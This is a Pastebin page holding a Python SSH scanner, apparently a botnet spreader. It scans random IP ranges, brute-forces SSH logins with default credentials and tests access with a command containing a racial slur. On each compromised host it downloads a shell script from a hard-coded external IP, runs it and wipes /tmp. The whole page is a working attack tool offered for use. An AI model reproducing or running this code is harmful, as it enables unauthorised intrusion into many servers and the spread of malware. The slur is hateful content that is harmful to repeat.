Advertisement
Dr-L0v3

SSH Scanner

Dec 22nd, 2017
1,199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.58 KB | None | 0 0
  1. #!/usr/bin/python
  2. # For the kids who still scan SSH
  3. # Dr.L0v3
  4.  
  5.  
  6. import threading, sys, time, random, socket, re, os, paramiko
  7.  
  8. if len(sys.argv) < 4:
  9.     print "SSH Scanner\n    By: Dr.L0v3"
  10.     print "Usage: python "+sys.argv[0]+" <threads(1-100+)> <ips(1-1000+)> <pass list(1,2,3)>"
  11.     print "Example: python "+sys.argv[0]+" 100 1000 1"
  12.     sys.exit()
  13.  
  14. if sys.argv[3] == "1":
  15.     ssh_passwords = ["admin:1234"] #fastest infection rate, lowest results
  16. elif sys.argv[3] == "2":
  17.     ssh_passwords = ["admin:1234", "root:1234"] #decent speed, more results
  18. elif sys.argv[3] == "3":
  19.     ssh_passwords = ["admin:1234", "root:1234", "root:root", "root:admin", "admin:admin"] #slow af but hella results
  20.  
  21. sh_file = "http://103.194.169.245/bins.sh" # SH File
  22. threads = int(sys.argv[1])
  23. ipz = int(sys.argv[2])
  24. paramiko.util.log_to_file("/dev/null") #quiets paramiko output
  25. Sranges = ["49.150","91.98","5.78","122.3","122.52","122.54","119.93","124.105"]
  26.  
  27. def worker():
  28.     try:
  29.         print "\033[36mStarting SSH Thread\033[37m"
  30.         while True:
  31.             try:
  32.                 ipzh0 = ipz + 1
  33.                 br = random.choice(Sranges)
  34.                 for x in xrange(ipzh0):
  35.                     try:
  36.                         ip = ''+br+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
  37.                         ss = sssh(ip)
  38.                         ss.start()
  39.                         time.sleep(0.009)
  40.                     except:
  41.                         pass
  42.                 time.sleep(1)
  43.             except:
  44.                 print "\033[31mERROR\033[37m"
  45.                 pass
  46.     except:
  47.         pass
  48.  
  49.  
  50. class sssh(threading.Thread): #BBB
  51.     def __init__ (self, ip):
  52.         threading.Thread.__init__(self)
  53.         self.ip = str(ip).rstrip('\n')
  54.     def run(self):
  55.         x = 1
  56.         while x != 0:
  57.             try:
  58.                 username='root'
  59.                 password="0"
  60.                 port = 22
  61.                 ssh = paramiko.SSHClient()
  62.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  63.                 dobreak=False
  64.                 for passwd in ssh_passwords:
  65.                     if ":n/a" in passwd:
  66.                         password=""
  67.                     else:
  68.                         password=passwd.split(":")[1]
  69.                     if "n/a:" in passwd:
  70.                         username=""
  71.                     else:
  72.                         username=passwd.split(":")[0]
  73.                     try:
  74.                         ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  75.                         dobreak=True
  76.                         break
  77.                     except:
  78.                         pass
  79.                     if True == dobreak:
  80.                         break
  81.                 badserver=True
  82.                 stdin, stdout, stderr = ssh.exec_command("echo nigger")
  83.                 output = stdout.read()
  84.                 if "nigger" in output:
  85.                     badserver=False
  86.                 if badserver == False:
  87.                     print "\033[36m[SSH] Command Sent %s!\033[37m"%(self.ip)
  88.                     ssh.exec_command("cd /tmp; wget "+sh_file+" -O l.sh; sh l.sh; rm -rf /tmp/*")
  89.                     time.sleep(10)
  90.                     ssh.close()
  91.                     x = 0
  92.                 if badserver == True:
  93.                     ssh.close()
  94.             except:
  95.                 pass
  96.             x = 0
  97.  
  98. for g in xrange(threads):
  99.     try:
  100.         t = threading.Thread(target=worker)
  101.         t.start()
  102.         time.sleep(0.002)
  103.     except:
  104.         pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement